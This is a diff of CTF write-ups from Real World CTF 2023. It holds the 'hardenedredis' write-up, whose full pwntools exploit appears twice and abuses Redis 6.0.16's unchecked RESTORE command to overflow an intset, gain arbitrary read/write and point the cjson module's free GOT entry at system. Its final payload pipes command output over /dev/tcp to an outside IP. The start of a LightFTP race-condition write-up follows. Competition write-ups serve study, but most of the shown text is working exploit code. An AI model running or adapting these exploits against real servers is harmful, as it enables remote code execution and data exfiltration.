+RDB_TYPE_MODULE_2 = 7
+RDB_TYPE_HASH_ZIPMAP =    9
+RDB_TYPE_LIST_ZIPLIST =  10
+RDB_TYPE_SET_INTSET =    11
+RDB_TYPE_ZSET_ZIPLIST =  12
+RDB_TYPE_HASH_ZIPLIST =  13
+RDB_TYPE_LIST_QUICKLIST = 14
+RDB_TYPE_STREAM_LISTPACKS = 15
+
+class RDB:
+    def __init__(self, typ: int) -> None:
+        self.entry_data = b""
+        self.typ = typ
+
+    def encode(self):
+        return p8(self.typ) + self.entry_data
+
+    def append_entry_raw(self, data):
+        self.entry_data += data
+
+    def append_len(self, len):
+        # TODO: encoded lens
+        len_data = p8(0x81) + p64(len, endian="big")
+        self.append_entry_raw(len_data)
+
+    def append_bs(self, data: bytes):
+        self.append_len(len(data))
+        self.append_entry_raw(data)
+
+def intset(length, contents: bytes, enc=8):
+    return p32(enc) + p32(length) + contents
+
+
+def encode_dump(data: bytes):
+    # TODO: CRC64
+    version = 9
+    data = data + p16(version)
+    crc = crc64(data)
+    footer = p64(crc)
+    return data + footer
+
+def format_escaped(data: bytes):
+    ret = ""
+    for b in data:
+        ret += f"\\x{b:02x}"
+    return ret
+
+OBJ_ENCODING_RAW = 0     # /* Raw representation */
+OBJ_ENCODING_INT = 1     # /* Encoded as integer */
+OBJ_ENCODING_HT = 2      # /* Encoded as hash table */
+OBJ_ENCODING_ZIPMAP = 3  # /* Encoded as zipmap */
+OBJ_ENCODING_LINKEDLIST = 4 # /* No longer used: old list encoding. */
+OBJ_ENCODING_ZIPLIST = 5 # /* Encoded as ziplist */
+OBJ_ENCODING_INTSET = 6  # /* Encoded as intset */
+OBJ_ENCODING_SKIPLIST = 7  # /* Encoded as skiplist */
+OBJ_ENCODING_EMBSTR = 8  # /* Embedded sds string encoding */
+OBJ_ENCODING_QUICKLIST = 9 # /* Encoded as linked list of ziplists */
+OBJ_ENCODING_STREAM = 10 # /* Encoded as a radix tree of listpacks */
+
+OBJ_STRING = 0 #    /* String object. */
+OBJ_LIST = 1 #      /* List object. */
+OBJ_SET = 2 #       /* Set object. */
+OBJ_ZSET = 3 #      /* Sorted set object. */
+OBJ_HASH = 4 #      /* Hash object. */
+
+SDS_TYPE_5 =  0
+SDS_TYPE_8 =  1
+SDS_TYPE_16 = 2
+SDS_TYPE_32 = 3
+SDS_TYPE_64 = 4
+
+# z = ZipList()
+# z.append_entry(b"lmao\0", 0x1000)
+# # print(z.entry_data)
+# # z.append_entry(b"meme")
+
+# final_pay = z.encode()
+
+# print("ZIPLISt:")
+# print(hexdump(final_pay))
+
+# r = RDB(RDB_TYPE_LIST_QUICKLIST)
+# r.append_len(1)
+# r.append_bs(final_pay)
+# rdb_pay = r.encode()
+# dumped = encode_dump(rdb_pay)
+
+# print(f"restore asdf 0 \"{format_escaped(dumped)}\"")
+
+# myis = intset(10, b"\0"*0x38)
+# r = RDB(RDB_TYPE_SET_INTSET)
+# r.append_bs(myis)
+# dumped = encode_dump(r.encode())
+
+# print(f"restore lmao 0 \"{format_escaped(dumped)}\"")
+
+# print(format_escaped(z.encode()))
+
+ +

exploit.py

+
#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+# This exploit template was generated via:
+# $ pwn template --host 47.88.50.1 --port 9999 redis-6.0.16/redis-server
+from pwn import *
+from coder import *
+import redis
+
+# Set up pwntools for the correct architecture
+exe = context.binary = ELF('redis-6.0.16/redis-server')
+context.terminal = ["tmux", "split", "-h"]
+
+# Many built-in settings can be controlled on the command-line and show up
+# in "args".  For example, to dump all data sent/received, and disable ASLR
+# for all created processes...
+# ./exploit.py DEBUG NOASLR
+# ./exploit.py GDB HOST=example.com PORT=4141
+host = args.HOST or '47.88.50.1'
+port = int(args.PORT or 9999)
+
+def start_local(argv=[], *a, **kw):
+    '''Execute the target binary locally'''
+    # cleanup old db
+    os.system("rm -rf /var/lib/redis/dump.rdb")
+    if args.GDB:
+        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
+    else:
+        return process([exe.path] + argv, *a, **kw)
+
+def start_remote(argv=[], *a, **kw):
+    '''Connect to the process on the remote host'''
+    io = connect(host, port)
+    if args.GDB:
+        gdb.attach(io, gdbscript=gdbscript)
+    return io
+
+def start(argv=["./redis.conf"], *a, **kw):
+    '''Start the exploit against the target.'''
+    if args.LOCAL:
+        return start_local(argv, *a, **kw)
+    else:
+        return start_remote(argv, *a, **kw)
+
+# Specify your GDB script here for debugging
+# GDB will be launched if the exploit is run via e.g.
+# ./exploit.py GDB
+gdbscript = '''
+set substitute-path /build/redis-6i8WL9/ /home/vagrant/CTF/rwctf/
+# b scanGenericCommand
+# b lookupStringForBitCommand
+# b bitops.c:580
+# b readQueryFromClient
+b system
+continue
+'''.format(**locals())
+
+#===========================================================
+#                    EXPLOIT GOES HERE
+#===========================================================
+# Arch:     amd64-64-little
+# RELRO:    Full RELRO
+# Stack:    Canary found
+# NX:       NX enabled
+# PIE:      PIE enabled
+# FORTIFY:  Enabled
+
+
+io = start()
+rem_port = 6379
+r_host = "10.10.20.1"
+if args.REMOTE:
+    io.sendlineafter(b"token now:", b"GpBQe0iTSLeTuaXxfmtf/A==")
+    io.recvuntil(b"Now your new port is :")
+    rem_port = int(io.recvline().strip())
+    log.info("got remote port: %d", rem_port)
+    r_host = host
+    # io.interactive()
+time.sleep(1.0)
+if args.LOCAL:
+    r_host = "localhost"
+r = redis.Redis(r_host, rem_port, db=0)
+
+fake_sdshdr8 = flat({
+    0: p8(0xff, sign=False),
+    1: p8(0xff, sign=False),
+    2: p8(SDS_TYPE_8)
+})
+
+# create two strings
+str_pay = cyclic(0x40-4)
+for i in range(12):
+    name = f"spr{i:02}".encode()
+    r.set(f"spray{i}", name + fake_sdshdr8 + str_pay[:-8])
+
+myis = intset(9, b"\0"*0x38)
+rdb = RDB(RDB_TYPE_SET_INTSET)
+rdb.append_bs(myis)
+dumped = encode_dump(rdb.encode())
+
+log.info("sprayed!")
+
+# pause()
+
+r.delete("spray5")
+
+log.info("deleted spray5")
+
+# pause()
+
+# time.sleep(1.0)
+r.memory_purge()
+
+log.info("purged memory")
+# pause()
+
+time.sleep(0.5)
+
+r.restore("lmao", 0, dumped)
+
+# time.sleep(0.5)
+# r.set("a", str_pay)
+# time.sleep(0.5)
+# r.set("b", str_pay)
+# time.sleep(0.5)
+
+def dec_elem(elem: bytes):
+    return int(elem.decode(), 0)
+
+elems = r.sscan("lmao", 0)
+elems = elems[1]
+print(elems)
+# spray6_addr = dec_elem(elems[8])
+
+# log.info("spray6 @ 0x%x", spray6_addr)
+
+del_target = dec_elem(elems[7])
+
+# pause()
+
+r.srem("lmao", del_target)
+
+def set_bytes(key, bs: bytes, off=0):
+    return r.setrange(key, off, bs)
+    curr = off*8
+    for b in bs:
+        for i in range(8):
+            bit = (b >> (7 - i)) & 1
+            r.setbit(key, curr + i, bit)
+        curr += 8
+
+def get_bytes(key, size, off=0):
+    return r.getrange(key, off, off+size)
+    base = off*8
+    ret = b""
+    for k in range(size):
+        b = 0
+        for i in range(8):
+            bit = r.getbit(key, base + k*8 + i)
+            b |= (bit << (7 - i))
+        ret += bytes([b])
+    return ret
+
+# pause()
+
+# res = r.get("spray6")
+
+# print(hexdump(res))
+
+# sp7_obj = res[0x2d:]
+
+sp7_cont_off = 0x40
+
+# print(hexdump(sp7_obj))
+
+# typ_enc_lru = u32(sp7_obj[:4])
+# refcount = u32(sp7_obj[4:8])
+# ptr = u64(sp7_obj[8:16])
+
+# sp7_addr = ptr - 3 - 0x10
+
+# we want large one
+# fake_sp7_shdr_addr = sp7_addr + 0x10 + 0x17
+
+uint64_max = (1 << 64) - 1
+
+fake_sdshdr64 = flat({
+        # fake sdshdr64
+        0: p64(uint64_max, sign=False),
+        8: p64(uint64_max, sign=False),
+        16: p8(SDS_TYPE_64)
+})
+
+
+# fake_sp7 = flat({
+#     0: p32(typ_enc_lru),
+#     4: p32(refcount),
+#     8: p64(fake_sp7_shdr_addr),
+#     16: fake_sdshdr64
+# })
+
+# set_bytes("spray6", fake_sp7, 0x2d)
+set_bytes("spray6", fake_sdshdr64, sp7_cont_off - len(fake_sdshdr64))
+
+log.info("faked spray7")
+
+# res = r.get("spray6")
+
+# sp7_obj = res[0x2d:]
+
+# print(hexdump(sp7_obj))
+
+# pause()
+
+for i in range(0x3):
+    r.set(f"ssmall{i}", cyclic(44))
+
+# r.delete("spray8")
+# r.delete("spray9")
+
+# lua_pay = """
+# return tostring(cjson.encode)
+# end
+
+# arr = {}
+# _G["lmao"] = arr
+
+# function tricked()
+# """
+
+# print(r.eval(lua_pay, 0))
+
+# r.delete("spray10")
+
+# lua_pay = """
+# return _G["lmao"]
+# end
+
+# _G["lmao"][1] = 0
+
+# function tricked2()
+# """
+
+# print(r.eval(lua_pay, 0))
+
+# pause()
+
+# lua_pay = """
+# return _G["lmao"]
+# end
+
+# _G["lmao"][2] = 156842099844.517639160156250000000000000000
+
+# function tricked2()
+# """
+
+# print(r.eval(lua_pay, 0))
+
+# pause()
+
+
+liblua_off = 0x200-3 + 0x07a0
+
+# useful_ptr_off = 0x02b0-3
+useful_ptr_off = 0x105
+
+res = r.getrange("spray7", 0, 0x400)
+print(hexdump(res))
+
+res = get_bytes("spray7", 0x10, useful_ptr_off)
+print(hexdump(res))
+
+useful_ptr = u64(res[:8])
+
+log.info("useful_ptr = 0x%x", useful_ptr)
+sp7_addr = useful_ptr - (useful_ptr_off + 8 + 3)
+log.success("s7 @ 0x%x", sp7_addr)
+
+heap_base = sp7_addr - 0x7ffff66ed183 + 0x00007ffff6200000
+if not args.LOCAL:
+    heap_base = sp7_addr - 0xcd9103
+log.success("heap @ 0x%x", heap_base)
+
+lua_state_off = 0x00007ffff66b1000-0x7ffff66ed183
+lua_state_addr = sp7_addr + lua_state_off
+log.success("lua_state @ 0x%x", lua_state_addr)
+
+conn_off = 0x00007ffff66edf40 - 0x7ffff66ed183
+conn_addr = sp7_addr + conn_off
+log.success("conn @ 0x%x", conn_addr)
+
+
+fake_vtable_off = 0x20
+fake_vtable_addr = sp7_addr + fake_vtable_off
+fake_vtable = flat({
+    0: p64(0x41414141),
+    8: p64(0x42424242),
+    16: p64(0x43434343)
+})
+
+# set_bytes("spray7", fake_vtable, fake_vtable_off)
+
+liblua = ELF("liblua-cjson.so")
+
+# lua_pay = """
+# local arr = {}
+# arr[1] = cjson.json_encode
+# return arr
+# """
+
+# print(r.eval(lua_pay, 0))
+
+# lua_pay = """
+# local arr = {}
+# arr[1] = cjson.json_encode
+# arr[2] = cjson.json_encode
+# return arr
+# """
+
+# print(r.eval(lua_pay, 0))
+
+# lua_pay = """
+# local arr = {}
+# arr[1] = cjson.json_encode
+# arr[2] = cjson.json_encode
+# arr[3] = cjson.json_encode
+# return arr
+# """
+
+# print(r.eval(lua_pay, 0))
+
+lua_pay = """
+return tostring(cjson.encode)
+"""
+
+res = r.eval(lua_pay, 0).decode()
+
+print(res)
+
+# pause()
+
+# res = get_bytes("spray7", 0x8000, 0)
+# print(hexdump(p64(liblua.symbols["json_encode"])))
+# print(hexdump(res))
+
+enc_fn = res.split("function: ")[1]
+json_encode_addr_addr = int(enc_fn, 16)+0x20
+log.info("json_encode_addr_addr = 0x%x", json_encode_addr_addr)
+log.info("off = 0x%x",  json_encode_addr_addr - sp7_addr)
+res = get_bytes("spray7", 0x10, json_encode_addr_addr - sp7_addr)
+json_encode_addr = u64(res[:8])
+log.info("json_encode_addr = 0x%x", json_encode_addr)
+
+liblua.address = liblua_json_addr = json_encode_addr - liblua.symbols["json_encode"]
+log.success("liblua_json @ 0x%x", liblua_json_addr)
+
+free_got = liblua.got["free"]
+
+free_sp7_off = free_got - sp7_addr
+
+snprintf_off = liblua.got["__snprintf_chk"] - sp7_addr
+
+log.info("off = 0x%x")
+
+fputc_addr = u64(get_bytes("spray7", 16, snprintf_off)[:8])
+log.info("fputc_addr = 0x%x", fputc_addr)
+
+libc = ELF("libc.so.6")
+libc.address = libc_base = fputc_addr - libc.symbols["__snprintf_chk"]
+log.success("libc @ 0x%x", libc_base)
+
+set_bytes("spray7", p64(libc.symbols["system"]), free_sp7_off)
+# fake_conn = flat({
+
+# })
+
+# r.setrange("spray7", conn_off+0x30, cyclic(0x40))
+
+# set_bytes("spray7", b"b"*8, liblua_off - 0x20)
+# set_bytes("spray7", p64(0x414141414141), liblua_off)
+
+# pause()
+
+lua_pay = """
+return cjson.decode("\\"/bin/bash -c \\\\\\"/readflag > /dev/tcp/84.72.193.30/1334\\\\\\"\\"")
+"""
+
+# pause()
+
+print(r.eval(lua_pay, 0))
+
+# res = get_bytes("spray7", 0x300)
+# print(hexdump(res))
+
+# res = get_bytes("spray6", 0x60)
+# print(res)
+
+# shellcode = asm(shellcraft.sh())
+# payload = fit({
+#     32: 0xdeadbeef,
+#     'iaaa': [1, 2, 'Hello', 3]
+# }, length=128)
+# io.send(payload)
+# flag = io.recv(...)
+# log.success(flag)
+
+io.interactive()
+
+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/rwctf-2023/pwn/hardenedredis.md b/rwctf-2023/pwn/hardenedredis.md new file mode 100755 index 0000000..abe02bb --- /dev/null +++ b/rwctf-2023/pwn/hardenedredis.md @@ -0,0 +1,615 @@ +# hardenedredis + +We are given an ubuntu 22.04 docker container, installing the latest redis version. +Turns out, it is not really the latest redis version, but still with some CVE fixes. +I scoured through the commit log to find anything interesting and went down a few rabbit holes: +- Old lua version +- messagepack lua extension +- unfixed CVE in lua script execution +- many many more + +After more scouring of the commit log, I realized that the `RESTORE` command was fundamentally very broken on the redis version we were given. +Indeed it was basically not doing any checks at all on the input byte string. +I first tried to exploit some of the things that were fixed with later commits, but the data structures used were very complex and did not lend themselves to easy heap overflows. +In the end, I settled on intsets, which look like the following: + +```c +typedef struct intset { + uint32_t encoding; + uint32_t length; + int8_t contents[]; +} intset; +``` + +Thanks to the restore commands, I control both the size of the allocated chunk where the intset is stored and its contents. +I could therefore make the length larger than the actual chunk. +By then deleting an entry, I would move items outside of the chunk by one to the left, i.e. overwriting things on the heap. +I used this to corrupt a string and have a string of length `-1`. +Using this string, I then had full arbitrary read/write. +I then overwrote the free pointer in the got of the cjson load module. +By making it point to system, I could execute arbitrary commands, by decoding the command as a json string. + +The two scripts below showcase the exploit. + +## coder.py +```python +from pwn import * +from pycrc.algorithms import Crc + + +def crc64(buffer): + crc_io = process(["./crc", str(len(buffer))]) + crc_io.send(buffer) + crc = int(crc_io.recvline().strip().decode(), 0) + return crc + # crc = Crc(64, 0xad93d23594c935a9, True, 0xffffffffffffffff, True, 0x0000000000000000) + # return crc.bit_by_bit_fast(buffer) + +class ZipList: + def __init__(self) -> None: + self.entry_data = b"" + self.num_entries = 0 + self.zlbytes = None + self.zltail = None + self.zllen = None + self.zlend = None + self.last_off = 4 + 4 + 2 + self.prevlen = 0 + + def encode(self) -> bytes: + ret = b"" + if self.zlend is None: + self.zlend = 0xff + if self.zllen is None: + self.zllen = self.num_entries + if self.zltail is None: + self.zltail = self.last_off + if self.zlbytes is None: + self.zlbytes = len(self.entry_data) + 11 + ret += p32(self.zlbytes) + ret += p32(self.zltail) + ret += p16(self.zllen) + ret += self.entry_data + ret += p8(self.zlend) + return ret + + def enc_prevlen(self, val: int): + if val <= 253: + return p8(val) + return p8(0xfe) + p32(val) + + + def append_entry_raw(self, data): + self.num_entries += 1 + data = self.enc_prevlen(self.prevlen) + data + self.entry_data += data + self.last_off += self.prevlen + self.prevlen = len(data) + + def enc_entry(self, val, my_len=None): + if isinstance(val, bytes): + len_enc = len(val) + if my_len is not None: + len_enc = my_len + return p8(0b10000000), p32(len_enc, endian="big"), val + + def append_entry(self, val, my_len=None): + enc, add_len, enc_val = self.enc_entry(val, my_len) + data = enc + add_len + enc_val + self.append_entry_raw(data) + +RDB_TYPE_STRING = 0 +RDB_TYPE_LIST = 1 +RDB_TYPE_SET = 2 +RDB_TYPE_ZSET = 3 +RDB_TYPE_HASH = 4 +RDB_TYPE_ZSET_2 = 5 +RDB_TYPE_MODULE = 6 +RDB_TYPE_MODULE_2 = 7 +RDB_TYPE_HASH_ZIPMAP = 9 +RDB_TYPE_LIST_ZIPLIST = 10 +RDB_TYPE_SET_INTSET = 11 +RDB_TYPE_ZSET_ZIPLIST = 12 +RDB_TYPE_HASH_ZIPLIST = 13 +RDB_TYPE_LIST_QUICKLIST = 14 +RDB_TYPE_STREAM_LISTPACKS = 15 + +class RDB: + def __init__(self, typ: int) -> None: + self.entry_data = b"" + self.typ = typ + + def encode(self): + return p8(self.typ) + self.entry_data + + def append_entry_raw(self, data): + self.entry_data += data + + def append_len(self, len): + # TODO: encoded lens + len_data = p8(0x81) + p64(len, endian="big") + self.append_entry_raw(len_data) + + def append_bs(self, data: bytes): + self.append_len(len(data)) + self.append_entry_raw(data) + +def intset(length, contents: bytes, enc=8): + return p32(enc) + p32(length) + contents + + +def encode_dump(data: bytes): + # TODO: CRC64 + version = 9 + data = data + p16(version) + crc = crc64(data) + footer = p64(crc) + return data + footer + +def format_escaped(data: bytes): + ret = "" + for b in data: + ret += f"\\x{b:02x}" + return ret + +OBJ_ENCODING_RAW = 0 # /* Raw representation */ +OBJ_ENCODING_INT = 1 # /* Encoded as integer */ +OBJ_ENCODING_HT = 2 # /* Encoded as hash table */ +OBJ_ENCODING_ZIPMAP = 3 # /* Encoded as zipmap */ +OBJ_ENCODING_LINKEDLIST = 4 # /* No longer used: old list encoding. */ +OBJ_ENCODING_ZIPLIST = 5 # /* Encoded as ziplist */ +OBJ_ENCODING_INTSET = 6 # /* Encoded as intset */ +OBJ_ENCODING_SKIPLIST = 7 # /* Encoded as skiplist */ +OBJ_ENCODING_EMBSTR = 8 # /* Embedded sds string encoding */ +OBJ_ENCODING_QUICKLIST = 9 # /* Encoded as linked list of ziplists */ +OBJ_ENCODING_STREAM = 10 # /* Encoded as a radix tree of listpacks */ + +OBJ_STRING = 0 # /* String object. */ +OBJ_LIST = 1 # /* List object. */ +OBJ_SET = 2 # /* Set object. */ +OBJ_ZSET = 3 # /* Sorted set object. */ +OBJ_HASH = 4 # /* Hash object. */ + +SDS_TYPE_5 = 0 +SDS_TYPE_8 = 1 +SDS_TYPE_16 = 2 +SDS_TYPE_32 = 3 +SDS_TYPE_64 = 4 + +# z = ZipList() +# z.append_entry(b"lmao\0", 0x1000) +# # print(z.entry_data) +# # z.append_entry(b"meme") + +# final_pay = z.encode() + +# print("ZIPLISt:") +# print(hexdump(final_pay)) + +# r = RDB(RDB_TYPE_LIST_QUICKLIST) +# r.append_len(1) +# r.append_bs(final_pay) +# rdb_pay = r.encode() +# dumped = encode_dump(rdb_pay) + +# print(f"restore asdf 0 \"{format_escaped(dumped)}\"") + +# myis = intset(10, b"\0"*0x38) +# r = RDB(RDB_TYPE_SET_INTSET) +# r.append_bs(myis) +# dumped = encode_dump(r.encode()) + +# print(f"restore lmao 0 \"{format_escaped(dumped)}\"") + +# print(format_escaped(z.encode())) +``` + +## exploit.py +```python +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# This exploit template was generated via: +# $ pwn template --host 47.88.50.1 --port 9999 redis-6.0.16/redis-server +from pwn import * +from coder import * +import redis + +# Set up pwntools for the correct architecture +exe = context.binary = ELF('redis-6.0.16/redis-server') +context.terminal = ["tmux", "split", "-h"] + +# Many built-in settings can be controlled on the command-line and show up +# in "args". For example, to dump all data sent/received, and disable ASLR +# for all created processes... +# ./exploit.py DEBUG NOASLR +# ./exploit.py GDB HOST=example.com PORT=4141 +host = args.HOST or '47.88.50.1' +port = int(args.PORT or 9999) + +def start_local(argv=[], *a, **kw): + '''Execute the target binary locally''' + # cleanup old db + os.system("rm -rf /var/lib/redis/dump.rdb") + if args.GDB: + return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) + else: + return process([exe.path] + argv, *a, **kw) + +def start_remote(argv=[], *a, **kw): + '''Connect to the process on the remote host''' + io = connect(host, port) + if args.GDB: + gdb.attach(io, gdbscript=gdbscript) + return io + +def start(argv=["./redis.conf"], *a, **kw): + '''Start the exploit against the target.''' + if args.LOCAL: + return start_local(argv, *a, **kw) + else: + return start_remote(argv, *a, **kw) + +# Specify your GDB script here for debugging +# GDB will be launched if the exploit is run via e.g. +# ./exploit.py GDB +gdbscript = ''' +set substitute-path /build/redis-6i8WL9/ /home/vagrant/CTF/rwctf/ +# b scanGenericCommand +# b lookupStringForBitCommand +# b bitops.c:580 +# b readQueryFromClient +b system +continue +'''.format(**locals()) + +#=========================================================== +# EXPLOIT GOES HERE +#=========================================================== +# Arch: amd64-64-little +# RELRO: Full RELRO +# Stack: Canary found +# NX: NX enabled +# PIE: PIE enabled +# FORTIFY: Enabled + + +io = start() +rem_port = 6379 +r_host = "10.10.20.1" +if args.REMOTE: + io.sendlineafter(b"token now:", b"GpBQe0iTSLeTuaXxfmtf/A==") + io.recvuntil(b"Now your new port is :") + rem_port = int(io.recvline().strip()) + log.info("got remote port: %d", rem_port) + r_host = host + # io.interactive() +time.sleep(1.0) +if args.LOCAL: + r_host = "localhost" +r = redis.Redis(r_host, rem_port, db=0) + +fake_sdshdr8 = flat({ + 0: p8(0xff, sign=False), + 1: p8(0xff, sign=False), + 2: p8(SDS_TYPE_8) +}) + +# create two strings +str_pay = cyclic(0x40-4) +for i in range(12): + name = f"spr{i:02}".encode() + r.set(f"spray{i}", name + fake_sdshdr8 + str_pay[:-8]) + +myis = intset(9, b"\0"*0x38) +rdb = RDB(RDB_TYPE_SET_INTSET) +rdb.append_bs(myis) +dumped = encode_dump(rdb.encode()) + +log.info("sprayed!") + +# pause() + +r.delete("spray5") + +log.info("deleted spray5") + +# pause() + +# time.sleep(1.0) +r.memory_purge() + +log.info("purged memory") +# pause() + +time.sleep(0.5) + +r.restore("lmao", 0, dumped) + +# time.sleep(0.5) +# r.set("a", str_pay) +# time.sleep(0.5) +# r.set("b", str_pay) +# time.sleep(0.5) + +def dec_elem(elem: bytes): + return int(elem.decode(), 0) + +elems = r.sscan("lmao", 0) +elems = elems[1] +print(elems) +# spray6_addr = dec_elem(elems[8]) + +# log.info("spray6 @ 0x%x", spray6_addr) + +del_target = dec_elem(elems[7]) + +# pause() + +r.srem("lmao", del_target) + +def set_bytes(key, bs: bytes, off=0): + return r.setrange(key, off, bs) + curr = off*8 + for b in bs: + for i in range(8): + bit = (b >> (7 - i)) & 1 + r.setbit(key, curr + i, bit) + curr += 8 + +def get_bytes(key, size, off=0): + return r.getrange(key, off, off+size) + base = off*8 + ret = b"" + for k in range(size): + b = 0 + for i in range(8): + bit = r.getbit(key, base + k*8 + i) + b |= (bit << (7 - i)) + ret += bytes([b]) + return ret + +# pause() + +# res = r.get("spray6") + +# print(hexdump(res)) + +# sp7_obj = res[0x2d:] + +sp7_cont_off = 0x40 + +# print(hexdump(sp7_obj)) + +# typ_enc_lru = u32(sp7_obj[:4]) +# refcount = u32(sp7_obj[4:8]) +# ptr = u64(sp7_obj[8:16]) + +# sp7_addr = ptr - 3 - 0x10 + +# we want large one +# fake_sp7_shdr_addr = sp7_addr + 0x10 + 0x17 + +uint64_max = (1 << 64) - 1 + +fake_sdshdr64 = flat({ + # fake sdshdr64 + 0: p64(uint64_max, sign=False), + 8: p64(uint64_max, sign=False), + 16: p8(SDS_TYPE_64) +}) + + +# fake_sp7 = flat({ +# 0: p32(typ_enc_lru), +# 4: p32(refcount), +# 8: p64(fake_sp7_shdr_addr), +# 16: fake_sdshdr64 +# }) + +# set_bytes("spray6", fake_sp7, 0x2d) +set_bytes("spray6", fake_sdshdr64, sp7_cont_off - len(fake_sdshdr64)) + +log.info("faked spray7") + +# res = r.get("spray6") + +# sp7_obj = res[0x2d:] + +# print(hexdump(sp7_obj)) + +# pause() + +for i in range(0x3): + r.set(f"ssmall{i}", cyclic(44)) + +# r.delete("spray8") +# r.delete("spray9") + +# lua_pay = """ +# return tostring(cjson.encode) +# end + +# arr = {} +# _G["lmao"] = arr + +# function tricked() +# """ + +# print(r.eval(lua_pay, 0)) + +# r.delete("spray10") + +# lua_pay = """ +# return _G["lmao"] +# end + +# _G["lmao"][1] = 0 + +# function tricked2() +# """ + +# print(r.eval(lua_pay, 0)) + +# pause() + +# lua_pay = """ +# return _G["lmao"] +# end + +# _G["lmao"][2] = 156842099844.517639160156250000000000000000 + +# function tricked2() +# """ + +# print(r.eval(lua_pay, 0)) + +# pause() + + +liblua_off = 0x200-3 + 0x07a0 + +# useful_ptr_off = 0x02b0-3 +useful_ptr_off = 0x105 + +res = r.getrange("spray7", 0, 0x400) +print(hexdump(res)) + +res = get_bytes("spray7", 0x10, useful_ptr_off) +print(hexdump(res)) + +useful_ptr = u64(res[:8]) + +log.info("useful_ptr = 0x%x", useful_ptr) +sp7_addr = useful_ptr - (useful_ptr_off + 8 + 3) +log.success("s7 @ 0x%x", sp7_addr) + +heap_base = sp7_addr - 0x7ffff66ed183 + 0x00007ffff6200000 +if not args.LOCAL: + heap_base = sp7_addr - 0xcd9103 +log.success("heap @ 0x%x", heap_base) + +lua_state_off = 0x00007ffff66b1000-0x7ffff66ed183 +lua_state_addr = sp7_addr + lua_state_off +log.success("lua_state @ 0x%x", lua_state_addr) + +conn_off = 0x00007ffff66edf40 - 0x7ffff66ed183 +conn_addr = sp7_addr + conn_off +log.success("conn @ 0x%x", conn_addr) + + +fake_vtable_off = 0x20 +fake_vtable_addr = sp7_addr + fake_vtable_off +fake_vtable = flat({ + 0: p64(0x41414141), + 8: p64(0x42424242), + 16: p64(0x43434343) +}) + +# set_bytes("spray7", fake_vtable, fake_vtable_off) + +liblua = ELF("liblua-cjson.so") + +# lua_pay = """ +# local arr = {} +# arr[1] = cjson.json_encode +# return arr +# """ + +# print(r.eval(lua_pay, 0)) + +# lua_pay = """ +# local arr = {} +# arr[1] = cjson.json_encode +# arr[2] = cjson.json_encode +# return arr +# """ + +# print(r.eval(lua_pay, 0)) + +# lua_pay = """ +# local arr = {} +# arr[1] = cjson.json_encode +# arr[2] = cjson.json_encode +# arr[3] = cjson.json_encode +# return arr +# """ + +# print(r.eval(lua_pay, 0)) + +lua_pay = """ +return tostring(cjson.encode) +""" + +res = r.eval(lua_pay, 0).decode() + +print(res) + +# pause() + +# res = get_bytes("spray7", 0x8000, 0) +# print(hexdump(p64(liblua.symbols["json_encode"]))) +# print(hexdump(res)) + +enc_fn = res.split("function: ")[1] +json_encode_addr_addr = int(enc_fn, 16)+0x20 +log.info("json_encode_addr_addr = 0x%x", json_encode_addr_addr) +log.info("off = 0x%x", json_encode_addr_addr - sp7_addr) +res = get_bytes("spray7", 0x10, json_encode_addr_addr - sp7_addr) +json_encode_addr = u64(res[:8]) +log.info("json_encode_addr = 0x%x", json_encode_addr) + +liblua.address = liblua_json_addr = json_encode_addr - liblua.symbols["json_encode"] +log.success("liblua_json @ 0x%x", liblua_json_addr) + +free_got = liblua.got["free"] + +free_sp7_off = free_got - sp7_addr + +snprintf_off = liblua.got["__snprintf_chk"] - sp7_addr + +log.info("off = 0x%x") + +fputc_addr = u64(get_bytes("spray7", 16, snprintf_off)[:8]) +log.info("fputc_addr = 0x%x", fputc_addr) + +libc = ELF("libc.so.6") +libc.address = libc_base = fputc_addr - libc.symbols["__snprintf_chk"] +log.success("libc @ 0x%x", libc_base) + +set_bytes("spray7", p64(libc.symbols["system"]), free_sp7_off) +# fake_conn = flat({ + +# }) + +# r.setrange("spray7", conn_off+0x30, cyclic(0x40)) + +# set_bytes("spray7", b"b"*8, liblua_off - 0x20) +# set_bytes("spray7", p64(0x414141414141), liblua_off) + +# pause() + +lua_pay = """ +return cjson.decode("\\"/bin/bash -c \\\\\\"/readflag > /dev/tcp/84.72.193.30/1334\\\\\\"\\"") +""" + +# pause() + +print(r.eval(lua_pay, 0)) + +# res = get_bytes("spray7", 0x300) +# print(hexdump(res)) + +# res = get_bytes("spray6", 0x60) +# print(res) + +# shellcode = asm(shellcraft.sh()) +# payload = fit({ +# 32: 0xdeadbeef, +# 'iaaa': [1, 2, 'Hello', 3] +# }, length=128) +# io.send(payload) +# flag = io.recv(...) +# log.success(flag) + +io.interactive() +``` diff --git a/rwctf-2023/pwn/nonheavyftp.html b/rwctf-2023/pwn/nonheavyftp.html new file mode 100755 index 0000000..35a3f9d --- /dev/null +++ b/rwctf-2023/pwn/nonheavyftp.html @@ -0,0 +1,239 @@ + + + + + +non heavy ftp | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

non heavy ftp

+ +

We are given read-only access to a LightFTP instance configured to only allow access to /server/data/. The flag, however, is at /flag.<some unknown uuid>. We, therefore, need to find a way to escape /server/data/ when listing and retrieving files.

+ +

LightFTP implements file operations such as LIST and RETR as follows

+
    +
  1. Parsse the command
  2. +
  3. Normalize the file name (i.e. remove any ..) and prefix it with the FTP root.
  4. +
  5. Write the filename to the control connection’s context->FileName.
  6. +
  7. Check that the file exists and is of the right type.
  8. +
  9. Launch a thread for the data connection that +
      +
    1. Establishes the connection. For passive mode, this means waiting for the client to connect.
    2. +
    3. Reads the filename from the control connection’s context->FileName.
    4. +
    5. Performs the file operation.
    6. +
    7. Sends the response to the client.
    8. +
    +
  10. +
+ +

Since LightFTP only validates login credentials once we provide the password, it needs to store the username provided by the USER command somewhere until we send the PASS command. It does so in the control connection’s context->FileName. We can, therefore, set the FileName to a nearly arbitrary value between it being set to a known safe value and it actually being read in the data connection’s thread.

+ +
from pwn import *
+
+def run(fake, file):
+    host = "47.89.253.219"
+    r = connect(host, 2121)
+    r.sendlineafter("ready\r\n", "USER anonymous\r")
+    r.sendlineafter("required\r\n", "PASS any-password-will-be-accepted\r")
+    r.sendlineafter("proceed.\r\n", "PASV\r")
+    port = r.readlineS()
